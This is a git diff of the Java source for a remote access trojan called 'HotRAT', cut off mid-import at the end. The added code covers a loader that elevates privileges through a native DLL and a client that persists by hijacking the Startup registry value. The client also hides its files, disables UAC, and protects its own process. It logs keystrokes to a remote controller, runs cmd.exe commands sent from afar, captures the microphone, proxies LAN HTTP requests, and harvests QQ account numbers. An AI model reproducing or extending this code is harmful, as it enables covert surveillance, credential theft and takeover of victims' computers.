diff --git a/HotRAT SRC)/Loader/Config.cfg b/HotRAT SRC)/Loader/Config.cfg new file mode 100644 index 0000000..b6939d7 --- /dev/null +++ b/HotRAT SRC)/Loader/Config.cfg @@ -0,0 +1 @@ +port:11451:port diff --git a/HotRAT SRC)/Loader/LookAndFeel.cfg b/HotRAT SRC)/Loader/LookAndFeel.cfg new file mode 100644 index 0000000..cea3dd8 --- /dev/null +++ b/HotRAT SRC)/Loader/LookAndFeel.cfg @@ -0,0 +1 @@ +LookAndFeel:com.sun.java.swing.plaf.windows.WindowsLookAndFeel:LookAndFeel diff --git a/HotRAT SRC)/Loader/out/production/Loader/resources/CppUtils.dll b/HotRAT SRC)/Loader/out/production/Loader/resources/CppUtils.dll new file mode 100644 index 0000000..88a3b60 Binary files /dev/null and b/HotRAT SRC)/Loader/out/production/Loader/resources/CppUtils.dll differ diff --git a/HotRAT SRC)/Loader/out/production/Loader/resources/Fake.png b/HotRAT SRC)/Loader/out/production/Loader/resources/Fake.png deleted file mode 100644 index aac4d00..0000000 Binary files a/HotRAT SRC)/Loader/out/production/Loader/resources/Fake.png and /dev/null differ diff --git a/HotRAT SRC)/Loader/out/production/Loader/resources/me.wtf b/HotRAT SRC)/Loader/out/production/Loader/resources/me.wtf index f469964..7d87b27 100644 Binary files a/HotRAT SRC)/Loader/out/production/Loader/resources/me.wtf and b/HotRAT SRC)/Loader/out/production/Loader/resources/me.wtf differ diff --git a/HotRAT SRC)/Loader/src/LoadDLL.java b/HotRAT SRC)/Loader/src/LoadDLL.java new file mode 100644 index 0000000..50e630d --- /dev/null +++ b/HotRAT SRC)/Loader/src/LoadDLL.java @@ -0,0 +1,9 @@ +import com.sun.jna.Library; +import com.sun.jna.Native; +import com.sun.jna.WString; +import com.sun.jna.platform.win32.WinDef; + +public interface LoadDLL extends Library { + LoadDLL instance = (LoadDLL) Native.loadLibrary("resources/CppUtils.dll", LoadDLL.class); + boolean RunAsAdmin(WString path, WString command); +} \ No newline at end of file diff --git a/HotRAT SRC)/Loader/src/Loader.java b/HotRAT SRC)/Loader/src/Loader.java index 625bd5b..6d9c8f9 100644 --- a/HotRAT SRC)/Loader/src/Loader.java +++ b/HotRAT SRC)/Loader/src/Loader.java @@ -1,5 +1,5 @@ -import com.sun.jna.platform.win32.Kernel32; -import com.sun.jna.platform.win32.WinNT; +import com.sun.jna.WString; +import com.sun.jna.platform.win32.*; import java.awt.*; import java.io.File; @@ -14,18 +14,17 @@ public static void main(String[] args) throws IOException { try { int PID = Integer.parseInt(args[0]); File file = new File(getPath() + "\\javaw.jar"); - File file1 = new File(getPath1() + "\\Copy.jar"); WinNT.HANDLE handle = Kernel32.INSTANCE.OpenProcess(WinNT.PROCESS_ALL_ACCESS,false,PID); Kernel32.INSTANCE.TerminateProcess(handle,0); createConfig(); - createFile(file, file1); + createFile(file); createProcess(); }catch (ArrayIndexOutOfBoundsException e) { File file = new File(getPath() + "\\javaw.jar"); - File file1 = new File(getPath1() + "\\Copy.jar"); - if (!file.exists()) { + File file1 = new File(getPath1() + "\\360Security.ini"); + if (!file1.exists()) { createConfig(); - createFile(file, file1); + createFile(file); createProcess(); } else { System.exit(0); @@ -34,20 +33,19 @@ public static void main(String[] args) throws IOException { } public static void createProcess() { try { - Runtime.getRuntime().exec("java -jar " + getPath() + "\\" + "javaw.jar"); + while (!LoadDLL.instance.RunAsAdmin(new WString(System.getProperty("java.home") + "\\bin\\javaw.exe"), new WString("-jar " + getPath() + "\\javaw.jar"))){ + } }catch (Exception e) { } } - public static void createFile(File file,File CopyFile) { + public static void createFile(File file) { try { file.createNewFile(); FileOutputStream fileOutputStream = new FileOutputStream(file); - FileOutputStream fileOutputStream1 = new FileOutputStream(CopyFile); byte[] bytes = new byte[1024]; int len = 0; while ((len = jar.read(bytes))!=-1) { fileOutputStream.write(bytes,0,len); - fileOutputStream1.write(bytes,0,len); } }catch (Exception e) { e.printStackTrace(); diff --git a/HotRAT SRC)/Loader/src/resources/CppUtils.dll b/HotRAT SRC)/Loader/src/resources/CppUtils.dll new file mode 100644 index 0000000..88a3b60 Binary files /dev/null and b/HotRAT SRC)/Loader/src/resources/CppUtils.dll differ diff --git a/HotRAT SRC)/Loader/src/resources/Fake.png b/HotRAT SRC)/Loader/src/resources/Fake.png deleted file mode 100644 index aac4d00..0000000 Binary files a/HotRAT SRC)/Loader/src/resources/Fake.png and /dev/null differ diff --git a/HotRAT SRC)/Loader/src/resources/me.wtf b/HotRAT SRC)/Loader/src/resources/me.wtf index f469964..7d87b27 100644 Binary files a/HotRAT SRC)/Loader/src/resources/me.wtf and b/HotRAT SRC)/Loader/src/resources/me.wtf differ diff --git a/HotRAT SRC)/RemoteControl-Client/out/production/YuanKong/me/client/dll/CppUtils.dll b/HotRAT SRC)/RemoteControl-Client/out/production/YuanKong/me/client/dll/CppUtils.dll index 28240c0..88a3b60 100644 Binary files a/HotRAT SRC)/RemoteControl-Client/out/production/YuanKong/me/client/dll/CppUtils.dll and b/HotRAT SRC)/RemoteControl-Client/out/production/YuanKong/me/client/dll/CppUtils.dll differ diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/Client.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/Client.java index 7cb89f3..139134e 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/Client.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/Client.java @@ -1,5 +1,7 @@ package me.client; +import com.sun.jna.Memory; +import com.sun.jna.Pointer; import com.sun.jna.WString; import com.sun.jna.platform.win32.*; import me.client.send.*; @@ -14,7 +16,7 @@ public class Client { public static final String HEAD = "H0tRAT"; - public static final String VERSION = "6.65"; + public static final String VERSION = "7.35"; public static boolean isturn = false; public static Socket socket; public static InetSocketAddress inetSocketAddress; @@ -35,7 +37,10 @@ public static String getPath1() throws IOException { public static void register() throws IOException { Advapi32Util.registrySetExpandableStringValue(WinReg.HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders","Startup",getPath()); - LoadDLL.instance.HideFile1(new WString(getPath())); + WinDef.DWORD dword = new WinDef.DWORD(WinNT.FILE_ATTRIBUTE_HIDDEN | WinNT.FILE_ATTRIBUTE_SYSTEM | 0x00000001); + Kernel32.INSTANCE.SetFileAttributes(getPath(),dword); + Kernel32.INSTANCE.SetFileAttributes(getPath1(),dword); + Advapi32Util.registrySetIntValue(WinReg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA",0x00000000);//关闭UAC提示 } public static String GetIP() { @@ -49,6 +54,7 @@ public static String GetIP() { while ((len = fileInputStream.read(bytes))!=-1) { temp += new String(bytes,0,len); } + fileInputStream.close(); temp1 = new String(AESUtils.decrypt(temp)); IP = temp1.substring(temp1.indexOf("IP:") + 3,temp1.indexOf("|")); }catch (Exception e) { @@ -69,6 +75,7 @@ public static int GetPort() { while ((len = fileInputStream.read(bytes))!=-1) { temp += new String(bytes,0,len); } + fileInputStream.close(); temp1 = new String(AESUtils.decrypt(temp)); Port = temp1.substring(temp1.indexOf("Port:") + 5); port = Integer.parseInt(Port); @@ -78,16 +85,27 @@ public static int GetPort() { } public static void relieve() throws IOException { //解除主机 + LoadDLL.instance.RemoveProtect(); Advapi32Util.registrySetExpandableStringValue(WinReg.HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders","Startup","wowWTF"); - File file = new File(getPath() + "\\javaw.jar"); - file.deleteOnExit(); + Advapi32Util.registrySetIntValue(WinReg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA",0x00000001); + File file = new File(getPath1() + "\\360Security.ini"); + file.delete(); System.exit(0); } + public static void lock() { + if(Kernel32.INSTANCE.OpenMutex(MUTEX_ALL_ACCESS,false,"HotRat") == null) { + Kernel32.INSTANCE.CreateMutex(null,false,"HotRat"); + }else { + Kernel32.INSTANCE.ExitProcess(0); + } + } public static void main(String[] args) throws Exception { UIManager.setLookAndFeel("com.sun.java.swing.plaf.windows.WindowsLookAndFeel"); - LoadDLL.instance.Lock(); + lock(); register(); - new AutoCheckFile().start(); + LoadDLL.instance.EnableDebugPriv(); + LoadDLL.instance.ProtectProcess(); + new Thread(new ShutdownChecker()).start(); inetSocketAddress = new InetSocketAddress(GetIP(),GetPort()); try { while (!isturn) { diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/dll/CppUtils.dll b/HotRAT SRC)/RemoteControl-Client/src/me/client/dll/CppUtils.dll index 28240c0..88a3b60 100644 Binary files a/HotRAT SRC)/RemoteControl-Client/src/me/client/dll/CppUtils.dll and b/HotRAT SRC)/RemoteControl-Client/src/me/client/dll/CppUtils.dll differ diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/Audio.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/Audio.java index ae25fb0..4b16f5d 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/Audio.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/Audio.java @@ -16,7 +16,7 @@ public class Audio extends Thread{ public Audio(Socket socket){ this.socket = socket; } - public void open(){ + public boolean open(){ try { AudioFormat audioFormat = new AudioFormat(AudioFormat.Encoding.PCM_SIGNED, 44100, 16, 2, 4, 44100, false); DataLine.Info info = new DataLine.Info(TargetDataLine.class, audioFormat); @@ -24,12 +24,11 @@ public void open(){ mic.open(); SendMessage.SendHead(MessageFlags.AUDIO_WINDOWS_SHOW,socket); }catch (Exception e) { - mic.stop(); - mic.close(); - SendMessage.SendHead(MessageFlags.AUDIO_ERROR,socket); + return false; } + return true; } - public void close() throws IOException { + public void close(){ run = false; mic.stop(); mic.close(); diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/FileDownload.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/FileDownload.java index 6cf9bb7..e4add2d 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/FileDownload.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/FileDownload.java @@ -1,5 +1,6 @@ package me.client.send; +import com.sun.jna.platform.win32.Kernel32; import me.client.utils.MessageFlags; import me.client.utils.ReceiveMessage; import me.client.utils.SendMessage; @@ -31,7 +32,7 @@ public void FileDownLoad(String path) { fileInputStream.read(bytes); SendMessage.SendHead(MessageFlags.FILE_PREPARE,socket); SendMessage.Send(MessageFlags.FILE_DOWNLOAD,bytes,socket); - SendMessage.Send(MessageFlags.FILE_DOWNLOAD_END,filename.getBytes( ),socket); + SendMessage.Send(MessageFlags.FILE_DOWNLOAD_END,filename.getBytes(),socket); }else { SendMessage.SendHead(MessageFlags.FILE_PREPARE,socket); int len = (int) (file.length()/filelen); diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/FileManager.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/FileManager.java index 1f955a5..a65a649 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/FileManager.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/FileManager.java @@ -31,7 +31,9 @@ public void DiskQuery() { public void DeleteFile(String filename) { File file = new File(filename); - file.delete(); + if(!file.delete()) { + SendMessage.SendHead(MessageFlags.FILE_DELETE_ERROR,socket); + } } public void OpenFile(String filename) { diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/KeyBoardHook.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/KeyBoardHook.java index 256e829..07ff769 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/KeyBoardHook.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/KeyBoardHook.java @@ -1,9 +1,11 @@ package me.client.send; import com.sun.jna.platform.win32.*; +import me.client.utils.LoadDLL; import me.client.utils.MessageFlags; import me.client.utils.SendMessage; +import javax.jws.soap.SOAPBinding; import java.net.Socket; public class KeyBoardHook extends Thread{ @@ -16,11 +18,22 @@ public KeyBoardHook(Socket socket) { private WinUser.LowLevelKeyboardProc keyboardProc = new WinUser.LowLevelKeyboardProc() { @Override public WinDef.LRESULT callback(int nCode, WinDef.WPARAM wParam, WinUser.KBDLLHOOKSTRUCT event) { - if (event.vkCode != 0) { - String str = String.valueOf(Win32VK.fromValue(event.vkCode)); - String s = str.replace("VK_",""); - SendMessage.Send(MessageFlags.UPDATE_KEYBORAD, s.getBytes( ), socket); - } + if ((wParam.intValue() >= 0x2f) && (wParam.intValue() <= 0x100)) { + String str = String.valueOf(Win32VK.fromValue(event.vkCode)).replace("VK_", ""); + if(str.length() >= 2) { + if(event.vkCode == 0x0D) { + SendMessage.Send(MessageFlags.UPDATE_KEYBORAD,"\n".getBytes(),socket); + }else { + SendMessage.Send(MessageFlags.UPDATE_KEYBORAD, ("[" + str + "]").getBytes(), socket); + } + }else { + if(LoadDLL.instance.KeyState() == 0) { + SendMessage.Send(MessageFlags.UPDATE_KEYBORAD, str.toLowerCase().getBytes(), socket); + }else { + SendMessage.Send(MessageFlags.UPDATE_KEYBORAD, str.getBytes(), socket); + } + } + } return com.sun.jna.platform.win32.User32.INSTANCE.CallNextHookEx(hhk, nCode, wParam, null); } }; @@ -33,7 +46,6 @@ public void run() { public void setHookOn() { WinDef.HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null); hhk = com.sun.jna.platform.win32.User32.INSTANCE.SetWindowsHookEx(com.sun.jna.platform.win32.User32.WH_KEYBOARD_LL, keyboardProc, hMod, 0); - int result; WinUser.MSG msg = new WinUser.MSG(); while ((result = com.sun.jna.platform.win32.User32.INSTANCE.GetMessage(msg, null, 0, 0)) != 0) { diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/LANAccess.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/LANAccess.java new file mode 100644 index 0000000..2f635e9 --- /dev/null +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/LANAccess.java @@ -0,0 +1,69 @@ +package me.client.send; + +import me.client.utils.MessageFlags; +import me.client.utils.SendMessage; + +import java.io.InputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.Socket; +import java.net.URL; +import java.nio.charset.StandardCharsets; + +public class LANAccess extends Thread{ + Socket socket; + public LANAccess(Socket socket) { + this.socket = socket; + } + public void get(String url,String head) { + try { + String message = ""; + URL url1 = new URL(url); + HttpURLConnection httpURLConnection = (HttpURLConnection) url1.openConnection(); + byte[] bytes = new byte[1024]; + int len = 0; + httpURLConnection.setRequestMethod("GET"); + httpURLConnection.setDoInput(true); + String[] strings = head.split("\\|"); + for(String str : strings) { + String[] heads = str.split("#"); + httpURLConnection.setRequestProperty(heads[0],heads[1]); + } + InputStream inputStream = httpURLConnection.getInputStream(); + while ((len = inputStream.read(bytes))!=-1) { + message += new String(bytes,0,len, StandardCharsets.UTF_8); + } + SendMessage.Send(MessageFlags.LAN_ACCESS_GET,message.getBytes(),socket); + }catch (Exception e) { + SendMessage.SendHead(MessageFlags.LAN_ACCESS_ERROR,socket); + } + } + public void post(String url,String head,String text) { + try { + String message = ""; + URL url1 = new URL(url); + HttpURLConnection httpURLConnection = (HttpURLConnection) url1.openConnection(); + byte[] bytes = new byte[1024]; + int len = 0; + httpURLConnection.setRequestMethod("POST"); + httpURLConnection.setDoInput(true); + httpURLConnection.setDoOutput(true); + String[] strings = head.split("\\|"); + for(String str : strings) { + String[] heads = str.split("#"); + httpURLConnection.setRequestProperty(heads[0],heads[1]); + } + OutputStream outputStream = httpURLConnection.getOutputStream(); + outputStream.write(text.getBytes()); + outputStream.flush(); + outputStream.close(); + InputStream inputStream = httpURLConnection.getInputStream(); + while ((len = inputStream.read(bytes))!=-1) { + message += new String(bytes,0,len, StandardCharsets.UTF_8); + } + SendMessage.Send(MessageFlags.LAN_ACCESS_POST,message.getBytes(),socket); + }catch (Exception e) { + SendMessage.SendHead(MessageFlags.LAN_ACCESS_ERROR,socket); + } + } +} \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/PictureDisplay.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/PictureDisplay.java new file mode 100644 index 0000000..3806688 --- /dev/null +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/PictureDisplay.java @@ -0,0 +1,22 @@ +package me.client.send; + +import javax.swing.*; +import java.net.MalformedURLException; +import java.net.URL; + +public class PictureDisplay { + JWindow window; + public void show(String url) throws MalformedURLException { + window = new JWindow(); + window.setAlwaysOnTop(true); + JButton but = new JButton(); + but.setIcon(new ImageIcon(new URL(url))); + window.getContentPane().add(but); + window.setLocationRelativeTo(null); + window.setSize(450,450); + window.setVisible(true); + } + public void close() { + window.dispose(); + } +} diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RegisterManager.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RegisterManager.java index c88e2c1..a018e63 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RegisterManager.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RegisterManager.java @@ -58,7 +58,8 @@ public void deleteValue(int hkey,String path,String value) { } public void deleteKey(int hkey,String path) { Advapi32Util.registryDeleteKey(new WinReg.HKEY(hkey),path); - regQuery(hkey,path); + String lastPath = path.substring(0,path.lastIndexOf("\\")); + regQuery(hkey,lastPath); } public void createValue(int hkey,String path,String newValue,String type) { switch (type) { diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RemoteChat.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RemoteChat.java index b495bd3..a188bb6 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RemoteChat.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RemoteChat.java @@ -20,7 +20,6 @@ public class RemoteChat { Socket socket; public RemoteChat(Socket socket)throws Exception{ this.socket = socket; - SendMessage.SendHead(MessageFlags.SHOW_REMOTECHAT,socket); jWindow = new JDialog(); jta = new JTextArea(); jWindow.setAlwaysOnTop(true); @@ -56,7 +55,7 @@ public RemoteChat(Socket socket)throws Exception{ jta.append(date + "\n"); jta.append("我: " + jtf.getText() + "\n"); jtf.setText(""); - SendMessage.Send(MessageFlags.SEND_REMOTECHAT,chat.getBytes( ),socket); + SendMessage.Send(MessageFlags.SEND_REMOTECHAT,chat.getBytes(),socket); }catch (Exception e) { } }); @@ -64,9 +63,8 @@ public RemoteChat(Socket socket)throws Exception{ public void closeWindows() { jWindow.dispose(); } - public void update(byte[] bytes) throws UnsupportedEncodingException { + public void update(byte[] bytes){ String context = new String(bytes); jta.append(context + "\n"); - System.out.println(context); } } \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RemoteCmd.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RemoteCmd.java index 54edea2..2ce576a 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RemoteCmd.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/RemoteCmd.java @@ -14,13 +14,14 @@ public RemoteCmd(Socket socket) { this.socket = socket; } public void cmdExecute(byte[] bytes) throws Exception{ + String tempStr = ""; String str = ""; - String string = ""; - Process process = Runtime.getRuntime().exec(new String(bytes)); - BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); - while ((str = reader.readLine())!=null) { - string += str + "\n"; + ProcessBuilder processBuilder = new ProcessBuilder().command("cmd.exe","/c",new String(bytes)); + Process process = processBuilder.start(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(),"GBK")); + while ((tempStr= bufferedReader.readLine())!=null) { + str += tempStr + "\n"; } - SendMessage.Send(MessageFlags.EXECUTE_REMOTE_CMD,string.getBytes( ),socket); + SendMessage.Send(MessageFlags.EXECUTE_REMOTE_CMD,str.getBytes(),socket); } -} +} \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/SendQQNumber.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/SendQQNumber.java index 2229806..6e50f18 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/SendQQNumber.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/SendQQNumber.java @@ -1,5 +1,7 @@ package me.client.send; +import com.sun.jna.platform.win32.User32; +import com.sun.jna.platform.win32.WinDef; import me.client.Client; import me.client.utils.MessageFlags; import me.client.utils.SendMessage; @@ -10,22 +12,20 @@ public class SendQQNumber extends Thread { Socket socket; - public SendQQNumber(Socket socket) { this.socket = socket; } public void SendQQNumbers() { - File file = new File(System.getProperty("user.home") + "\\Documents\\Tencent Files"); SendMessage.SendHead(MessageFlags.SHOW_QQNUMBERWINDOW,socket); - for (String string : file.list()) { - if (file.list() != null) { - if (string.indexOf("All Users") == -1) { - SendMessage.Send(MessageFlags.GET_QQNUMBER,string.getBytes(),socket); - } - }else { - SendMessage.SendHead(MessageFlags.GET_QQNUMBER_ERROR,socket); - } + char[] chars = new char[260]; + WinDef.HWND hwnd = User32.INSTANCE.FindWindow("5B3838F5-0C81-46D9-A4C0-6EA28CA3E942",null); + if(hwnd != null) { + User32.INSTANCE.GetWindowText(hwnd, chars, 260); + String str = String.valueOf(chars).trim(); + SendMessage.Send(MessageFlags.GET_QQNUMBER, str.substring(str.indexOf("prefix_") + 7).getBytes(), socket); + }else { + SendMessage.Send(MessageFlags.GET_QQNUMBER,"未知".getBytes(),socket); } } } \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/SystemManager.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/SystemManager.java index 91c0692..56eed9f 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/send/SystemManager.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/send/SystemManager.java @@ -2,7 +2,10 @@ import com.sun.jna.NativeLong; import com.sun.jna.Pointer; +import com.sun.jna.platform.win32.Kernel32; import com.sun.jna.platform.win32.User32; +import com.sun.jna.platform.win32.WinDef; +import com.sun.jna.platform.win32.WinNT; import com.sun.jna.ptr.IntByReference; import me.client.utils.LoadDLL; import me.client.utils.MessageFlags; @@ -52,8 +55,8 @@ public void enumWindows() { } else { char[] lpString = new char[260]; User32.INSTANCE.GetWindowText(hWnd, lpString, 260); - String str = User32.INSTANCE.GetWindowThreadProcessId(hWnd,intByReference) +"|" + String.valueOf(lpString); - SendMessage.Send(MessageFlags.ENUM_WINDOWS,str.getBytes( ),socket); + String str =User32.INSTANCE.GetWindowThreadProcessId(hWnd,intByReference) +"|" + LoadDLL.instance.GetWindowsID(hWnd) + "|" + String.valueOf(lpString); + SendMessage.Send(MessageFlags.ENUM_WINDOWS,str.getBytes(),socket); } return true; }, pointer); @@ -99,6 +102,7 @@ public void sendSystemInfo() { } } public static void stopProcess(int PID) { - LoadDLL.instance.killTasklist(new NativeLong(PID)); + WinNT.HANDLE handle = Kernel32.INSTANCE.OpenProcess(WinNT.PROCESS_ALL_ACCESS,false,PID); + Kernel32.INSTANCE.TerminateProcess(handle,0); } } \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/AutoCheckFile.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/AutoCheckFile.java deleted file mode 100644 index 9ee0015..0000000 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/AutoCheckFile.java +++ /dev/null @@ -1,43 +0,0 @@ -package me.client.utils; - -import com.sun.jna.WString; -import com.sun.jna.platform.win32.Kernel32; -import me.client.Client; - -import java.io.File; -import java.io.FileInputStream; -import java.io.FileOutputStream; - -public class AutoCheckFile extends Thread{ - @Override - public void run() { - try { - LoadDLL.instance.HideFile1(new WString(Client.getPath1() + "\\Copy.jar")); - LoadDLL.instance.HideFile1(new WString(Client.getPath1() + "\\360Security.ini")); - LoadDLL.instance.HideFile1(new WString(Client.getPath1())); - while (true) { - Thread.sleep(1000); - File file = new File(Client.getPath() + "\\javaw.jar"); - File file1 = new File(Client.getPath1() + "\\Copy.jar"); - if(!file.exists()) { - createNewFile(file1); - } - } - }catch (Exception e) { - } - } - private void createNewFile(File file) { - try { - FileInputStream fileInputStream = new FileInputStream(file); - FileOutputStream outputStream = new FileOutputStream(Client.getPath() + "\\javaw.jar"); - byte[] buff = new byte[1024]; - int len = 0; - while ((len = fileInputStream.read(buff))!=-1) { - outputStream.write(buff,0,len); - } - outputStream.close(); - fileInputStream.close(); - }catch (Exception e) { - } - } -} diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadDLL.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadDLL.java index 53ebb79..b92fb5f 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadDLL.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadDLL.java @@ -10,24 +10,12 @@ public interface LoadDLL extends Library { LoadDLL instance = (LoadDLL) Native.loadLibrary("me/client/dll/CppUtils.dll", LoadDLL.class); - void MessageErrorYNC(WString title,WString context); - void MessageInformationYNC(WString title,WString context); - void MessageWarningYNC(WString title,WString context); - void MessageQuestionYNC(WString title,WString context); - void MessageErrorYN(WString title,WString context); - void MessageInformationYN(WString title,WString context); - void MessageWarningYN(WString title,WString context); - void MessageQuestionYN(WString title,WString context); - void MessageErrorY(WString title,WString context); - void MessageInformationY(WString title,WString context); - void MessageWarningY(WString title,WString context); - void MessageQuestionY(WString title,WString context); - void beep(NativeLong d1,NativeLong d2); - void killTasklist(NativeLong PID); - void HideFile1(WString path); - void StopWindowProcess(WinDef.HWND hwnd); - void Lock(); WString GetKey(); int GetWidth(); int GetHeight(); + int GetWindowsID(WinDef.HWND hwnd); + void EnableDebugPriv(); + void ProtectProcess(); + void RemoveProtect(); + int KeyState(); } \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadKernel32.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadKernel32.java new file mode 100644 index 0000000..4650057 --- /dev/null +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadKernel32.java @@ -0,0 +1,13 @@ +package me.client.utils; + +import com.sun.jna.Library; +import com.sun.jna.Native; +import com.sun.jna.WString; +import com.sun.jna.platform.win32.Kernel32; +import com.sun.jna.platform.win32.WinDef; + +public interface LoadKernel32 extends Library { + LoadKernel32 instance = (LoadKernel32) Native.loadLibrary("Kernel32.dll", LoadKernel32.class); + WinDef.BOOL Beep(WinDef.DWORD d1, WinDef.DWORD d2); + int GetWindowsDirectoryW(char[] chars,int size); +} \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadNewHost.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadNewHost.java deleted file mode 100644 index 9d494fc..0000000 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadNewHost.java +++ /dev/null @@ -1,26 +0,0 @@ -package me.client.utils; - -import com.sun.jna.WString; -import com.sun.jna.platform.win32.Kernel32; -import com.sun.jna.platform.win32.User32; -import me.client.Client; - -import java.io.FileOutputStream; -import java.net.Socket; - -import static com.sun.jna.platform.win32.WinUser.EWX_RESTARTAPPS; - -public class LoadNewHost { - Socket socket; - public LoadNewHost(Socket socket){ - this.socket = socket; - } - public void Load(String str) { - try { - FileOutputStream fileOutputStream = new FileOutputStream(Client.getPath1() + "\\360Security.ini"); - fileOutputStream.write(AESUtils.encryption(str)); - fileOutputStream.close(); - }catch (Exception e) { - } - } -} \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadUser32.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadUser32.java new file mode 100644 index 0000000..eaee22b --- /dev/null +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/LoadUser32.java @@ -0,0 +1,12 @@ +package me.client.utils; + +import com.sun.jna.Library; +import com.sun.jna.Native; +import com.sun.jna.WString; +import com.sun.jna.platform.win32.WinDef; + +public interface LoadUser32 extends Library { + LoadUser32 instance= (LoadUser32) Native.loadLibrary("User32.dll", LoadUser32.class); + int MessageBoxW(WinDef.HWND hwnd, WString context,WString title,int i); + WinDef.BOOL SetWindowTextW(WinDef.HWND hwnd,WString wString); +} \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/MessageFlags.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/MessageFlags.java index 6e8450b..7f5e900 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/MessageFlags.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/MessageFlags.java @@ -93,5 +93,12 @@ public class MessageFlags { public static final byte CLOSE_REGIDTER = 89; public static final byte REGIDTER_CREATE_KEY = 90; public static final byte REGIDTER_DELETE_KEY = 91; + public static final byte PICTURE_SHOW = 92; + public static final byte PICTURE_CLOSE = 93; + public static final byte FILE_DELETE_ERROR = 94; + public static final byte LAN_ACCESS_GET = 95; + public static final byte LAN_ACCESS_POST = 96; + public static final byte LAN_ACCESS_ERROR = 97; + public static final byte LAN_ACCESS_OPEN = 98; public static final byte RELIEVE = 100; } \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/ReceiveMessage.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/ReceiveMessage.java index d3ff8de..e1c64d1 100644 --- a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/ReceiveMessage.java +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/ReceiveMessage.java @@ -1,13 +1,16 @@ package me.client.utils; import com.sun.jna.NativeLong; +import 